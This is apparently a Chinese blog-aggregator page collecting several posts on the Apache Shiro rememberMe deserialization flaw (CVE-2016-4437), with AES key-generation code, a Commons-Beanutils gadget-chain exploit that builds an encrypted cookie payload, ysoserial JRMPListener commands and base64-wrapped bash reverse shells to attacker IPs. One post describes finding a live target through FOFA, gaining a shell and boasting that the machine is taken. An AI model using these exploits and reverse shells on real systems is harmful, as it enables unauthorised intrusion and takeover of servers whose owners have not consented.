精华内容
下载资源
问答
  • apache shiro反序列化
    2021-06-29 15:38:16

    shiro反序列化生成KEY

    简介

    Shiro反序列化时候的第一步需要猜KEY,此番操作就像遍历弱口令似的。

    生成KEY的代码

    //shengcheng.java
    import org.apache.shiro.codec.Base64;
    
    import javax.crypto.KeyGenerator;
    import javax.crypto.SecretKey;
    import java.security.NoSuchAlgorithmException;
    
    public class poc {
        public static void main(String[] args) {
            for(int i=0; i<=5000; i++){
            //5000代表生成5000个
                KeyGenerator keygen = null;
                try {
                    keygen = KeyGenerator.getInstance("AES");
                } catch (NoSuchAlgorithmException e) {
                    e.printStackTrace();
                }
                SecretKey deskey = keygen.generateKey();
                System.out.println(Base64.encodeToString(deskey.getEncoded()));
            }
        }
    }
    
    //pom.xml
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <groupId>com.kite</groupId>
        <artifactId>shiro</artifactId>
        <packaging>war</packaging>
        <version>0.0.1-SNAPSHOT</version>
        <name>shiro Maven Webapp</name>
        <url>http://maven.apache.org</url>
        <properties>
            <shiro.version>1.2.4</shiro.version>
        </properties>
        <dependencies>
            <dependency>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
                <version>4.10</version>
                <scope>test</scope>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-core</artifactId>
                <version>${shiro.version}</version>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-web</artifactId>
                <version>${shiro.version}</version>
            </dependency>
            <dependency>
                <groupId>org.apache.shiro</groupId>
                <artifactId>shiro-ehcache</artifactId>
                <version>${shiro.version}</version>
            </dependency>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>javax.servlet-api</artifactId>
                <version>3.0.1</version>
            </dependency>
        </dependencies>
        <build>
            <finalName>shiro</finalName>
            <plugins>
                <!-- jetty插件 -->
                <plugin>
                    <groupId>org.mortbay.jetty</groupId>
                    <artifactId>maven-jetty-plugin</artifactId>
                    <version>6.1.5</version>
                    <configuration>
                        <webAppSourceDirectory>src/main/webapp</webAppSourceDirectory>
                        <scanIntervalSeconds>3</scanIntervalSeconds>
                        <contextPath>/</contextPath>
                        <connectors>
                            <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                                <port>80</port>
                            </connector>
                        </connectors>
                    </configuration>
                </plugin>
            </plugins>
        </build>
    </project>
    

    使用方法

    将两个文件放在项目目录中,然后使用Maven进行下载所需包,最后执行shengcheng.java代码即可。

    更多相关内容
  • 基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf
  • 序列化-->AES加密-->base64编码由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥...

    一、原理分析

    Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问

    Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

    由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行

    影响版本:Apache Shiro <= 1.2.4

    二、环境准备

    1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境

    2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)

    3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。

    三、漏洞复现

    1、访问环境

    2、用默认root账号密码登录,记得勾选上Remember Me

    3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key

    python3 shiro_exploit.py -u http://123.58.224.8:42716

    最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==

    又到了令人兴奋的利用环节了

    先启动监听

    再打开一个新的shell窗口,执行:

    python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"

    其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的

    执行后过会儿就可以看到shell反弹过来了

    四、参考链接

    1、https://blog.csdn.net/weixin_42019588/article/details/113395928

    2、https://www.freebuf.com/vuls/284529.html

    3、https://zhuanlan.zhihu.com/p/389768500

    展开全文
  • Apache shiro 反序列化及利用链

    千次阅读 2022-04-27 20:30:45
    反序列化 decrypt 解密 函数需要通过key 解密 密钥值是固定的 触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化 DNS可以出网,使用dnslog进行攻击 结合Dnslog与URLDNS...

    convertBytestoPrincipals 解密 --> 反序列化

    decrypt 解密 函数需要通过key 解密

    密钥值是固定的

    触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化

    DNS可以出网,使用dnslog进行攻击

    结合Dnslog与URLDNS方法有一个前提是DNS能出网。那么在不出网的情况下就需要找一个替代的方案了。结合SQL盲注的思路,可以考虑执行如下代码结合时间延迟进行判断,若系统是linux系统,则睡眠10s同理,可以考虑结合触发Java异常进判断,若系统返回对应的报错系统,或者返回通用的报错提示,说明当前的key和gadget组合是成功的:结合CookieRememberMeManaer

    shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能保存身份信息,使得无需再登录即可访问。

    无赖调用链:

    Commons-Beanutils 提供PropertyUtils getProperty 方法 使用者可以调用任意javabean对象里的getter方法。

    public class Person {
    
        private String name;
        private int age;
    
        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
    
        public String getName() {
            return name;
        }
        public void setName(String name) {
            this.name = name;
        }
        public int getAge(){
            return age;
        }
        public void setAge(int age){
            this.age = age;
        }
    }

    getter方法的利用链流程

    PropertyUtils类的 getProperty()方法 --> 调用另一个反射对象的getProperty()方法 --> PropertyUtilsBean类的getProperty()方法 --> 又调用了一个getNestedProperty()方法 -->

    getSimpleProperty 方法 --> getReadMethod实现

    CC3链:

    TemplatesImpl类里调用getOutputProperties()方法 这个方法调用了newTransformer(),他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl对象调用这个getOutputProperties()方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl对 象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.beanutils.PropertyUtils;
    
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    
    public class BeanTest {
        public static void main(String[] args) throws Exception{
            Person person = new Person("Le1a",20);
            //System.out.println(PropertyUtils.getProperty(person,"age"));
            TemplatesImpl templates = new TemplatesImpl();
            Class tc = templates.getClass();
            Field nameFiled = tc.getDeclaredField("_name");
            nameFiled.setAccessible(true);
            nameFiled.set(templates,"aaaa");
            Field bytecodesField = tc.getDeclaredField("_bytecodes");
            bytecodesField.setAccessible(true);
    
            Field tfactoryField = tc.getDeclaredField("_tfactory");
            tfactoryField.setAccessible(true);
            tfactoryField.set(templates,new TransformerFactoryImpl());
    
            byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
            byte[][] codes = {code};
            bytecodesField.set(templates,codes);
            
            PropertyUtils.getProperty(templates,"outputProperties");
        }
    }

    以上当getProperty 的属性可控时就可以任意代码执行,通过找上层看谁调用getProperty方法尝试控制属性值

    利用链:

    getProperty()的上层,找到了BeanComparator# compare() -> compare()调用了这个getProperty(),这里是可控的 -> PriorityQueue#siftDownUsingComparator 调用了getProperty() ->PriorityQueue#siftDown() 调用了siftDownUsingComparator() ->heapify()调用了 siftDown() ->最后PriorityQueue#readObject()又调用了heapify(),并且对queue数组进行循环反序列化

    问题:

    Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

    既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

    实现 java.util.Comparator 接口

    实现 java.io.Serializable 接口

    Java、shiro或commons-beanutils自带,且兼容性强

    找到一个CaseInsensitiveComparator,这个CaseInsensitiveComparator类java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中.

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    
    public class CBAttck {
        public static void main(String[] args) throws Exception{
            byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
            byte[][] codes = {code};//恶意类
            //CC3
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes",codes);
            setFieldValue(obj, "_name", "aaaa");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            //CB
            BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
            // stub data for replacement later
            queue.add("1");
            queue.add("1");
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            byte[] payload= barr.toByteArray();
            AesCipherService aes = new AesCipherService();
            byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource finalpayload = aes.encrypt(payload,key);
            System.out.println(finalpayload.toString());
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }

    bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码
    展开全文
  • Shiro_exploit用于检测与利用Apache Shiro反序列漏洞脚本。可以帮助企业发现自身安全漏洞。 该脚本通过网络收集到的22个键,利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则...
  • 061-Apache Shiro 反序列化之殇.pdf
  • 1、寻找目标 首先FOFA找一个环境,检测工具检测一下 发现目标,开干! 2、开启监听 首先在vps运行nc 监听一个端口 nc -lvp 666 列出需要使用的反弹指令 bash -i >&......

    1、寻找目标

    首先FOFA找一个环境,检测工具检测一下

    发现目标,开干!

    2、开启监听

    首先在vps运行nc 监听一个端口

    nc -lvp 666

    列出需要使用的反弹指令

    bash -i >& /dev/tcp/129.204.xxx.xxx/666 0>&1

    将指令放到http://www.jackson-t.ca/runtime-exec-payloads.html转换成加密后的指令

    将指令合成为一个java的监听指令

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 '加密后的指令'
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaxxxxxxxxxxxxxxxxxxxxxxxxxxxxkuMjA0LjExMy4yMDIvNjY2IDA+JjE=}|{base64,-d}|{bash,-i}'

    3、利用poc生成cookie

    我不是一个合格的网安人员。。

    python2 -m pip install pycryptodome

    安装这个库就可以了。

    然后进入这个库的目录:Lib\site-packages

    找到 crypto 这个库,更改为首字母大写 Crypto 即可

    得到cookie

    rememberMe=3Wb6O2eQTCeimDMS1uEUQANKouApX2EvmE7yZfXgnZWN+pxrZ4jH+CTcjRPRyuMXFt1NbRzH+IZhT7yoiK87ptD2HcSqqGKw50bEeDWdKPV7UDix82FQx5SQpYpVipyXk6LNO/BMFtMzvEsdjB6b9hMsHqz8/WVPWtT6V3J1Iq8oXm1MBfLSe7y8zd4BtM1vru+FyUSVdkw5Bv2pkB7o0LrUkhtbM58PVlxFgMBtU2nE0fvClfeX5ay0WINJjeGC8KQzMP0SFsWnnAwcJG513sPd796ppfEI8+esJ57yfRpiPXmlz9ZFMx66tvsVU9Enq1dCXOLNQPWkz+uLf5VDOO80nV6R0f+7+EXY/egY7w+hWNKJwDngKXvuyINGhhOVOrEzneSfCtvD8tOadPcU7A==

    抓包进行发送

    弹回来了。

     

    机器到手,溜了溜了。。。

    4、小记

    crontab从文件导入和导出到文件

    #导入 
    [root@localhost ~]# crontab filename 
    #导出 
    [root@localhost ~]# crontab -l >filename

     

    展开全文
  • shiro 反序列化 _CVE-2016-4437

    千次阅读 2021-12-28 14:08:09
    1.环境搭建 实验靶机:CentOS7(192.168.2.102) 攻击机:Kali-Linux(192.168.2...下载shiro反序列化工具: Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com) 填入靶机地址: 对kal
  • 使用Java序列化—>使用密钥进行AES加密—>Base64加密—>得到加密后的RememberMe内容同时在识别用户身份的时候,需要对RememberMe加密内容—>Base64解密—>使用密钥进行AES解密—>Java反序列化问题出在AES加密的密钥...
  • apache shiro 反序列漏洞解决方案

    千次阅读 2022-04-14 09:18:52
    目录 一、反序列化漏洞介绍 ...反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑
  • 突然接到一个通知,关于Shiro RememberMe 1.2.4反序列化高危漏洞加固整改的通知,要求对一个老系统进行整改。这个漏洞的危害以及影响范围是什么呢?因为Shiro默认使用“CookieRememberMeManager”,其在处理cookie的...
  • Apache Shiro 反序列化(CVE-2016-4437)复现

    千次阅读 2020-08-03 18:02:58
    0x01简介 这个漏洞属于java反序列漏洞的一种,shiro是java的一个开发框架执行身份验证...Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRemember
  • 漏洞介绍漏洞类型 :JAVA反序列化(RCE)影响版本 :Apache Shiro 1.2.4及其之前版本漏洞评级 :高危漏洞分析 #:下载漏洞环境:git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4工具下载...
  • Apache Shiro 反序列化漏洞一、简介二、环境三、漏洞原理四、AES秘钥1、判断AES秘钥五、...shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习 一、简介
  • Apache-Shiro反序列化1

    2022-08-03 17:02:10
    Apache-Shiro反序列化1
  • docker pull medicean/vulapps:s_shiro_1 docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1 yum install python3-devel pip3 install pycryptodome shiro.py # pip install pycrypto import sys ...
  • 文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 ...3.1. shiro版本升级 ...shiro漏洞补充: ...https://issues.apache.org/jira
  • 介绍shiro反序列漏洞的原理、流程和综合利用工具的使用。
  • Apache Shiro 反序列漏洞靶场

    千次阅读 2022-02-02 16:28:53
    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 2.漏洞简单...
  • Shiro exp使用手册Shiro rememberMe反序列漏洞漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie,服务端对rememberMe的cookie值先base64解码然后AES解密...
  • 一、框架介绍 Apache Shiro是一个强大且易用的Java安全框架(见图1),执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的...cookie的值是对相关信息进过序列化,再进行AES加密,再使用base64编码之后形成的。
  • #Apache Shiro 反序列化漏洞(CVE-20164437)# 一、漏洞简介 ...反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。 二、漏洞影响 影响版本 Apache Shiro <=
  • shiro反序列化进攻综合利用项目基于javafx,利用shiro反序列化扩展进行回显命令执行以及注入类别内存马检出唯一密钥(SimplePrincipalCollection)cbc / gcm Tomcat / Springboot回显命令执行集成公用集合K1 / K2...
  • shiro反序列化

    千次阅读 2021-05-08 18:13:21
    shiro反序列化 首先呢,我们要了解shiro反序列化是什么。 Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。 漏洞原理 Apache Shiro框架...
  • Apache Shiro反序列漏洞研究及解决方法

    万次阅读 多人点赞 2020-04-02 15:56:13
    前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动...1,Shiro反序列漏洞 2,提到了dnslog.cn平台 了解Shiro反序列漏洞 参考官方的JIRA文档记录,https://issues....
  • 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了shiro的编码方式,然后将恶意命令用它的编码方式进行编码并放在http头的cookie里,在shiro对提交的cookie的rememberme字段进行反序列...
  • 目录 1.漏洞概述 2.漏洞原理 3.影响版本 4.漏洞等级 5.漏洞复现 ...5.1 Vulhub搭建搭建漏洞环境 ...5.2 如何检测是否使用... Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Shiro框架直观...
  • 学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,423
精华内容 1,369
关键字:

apache shiro反序列化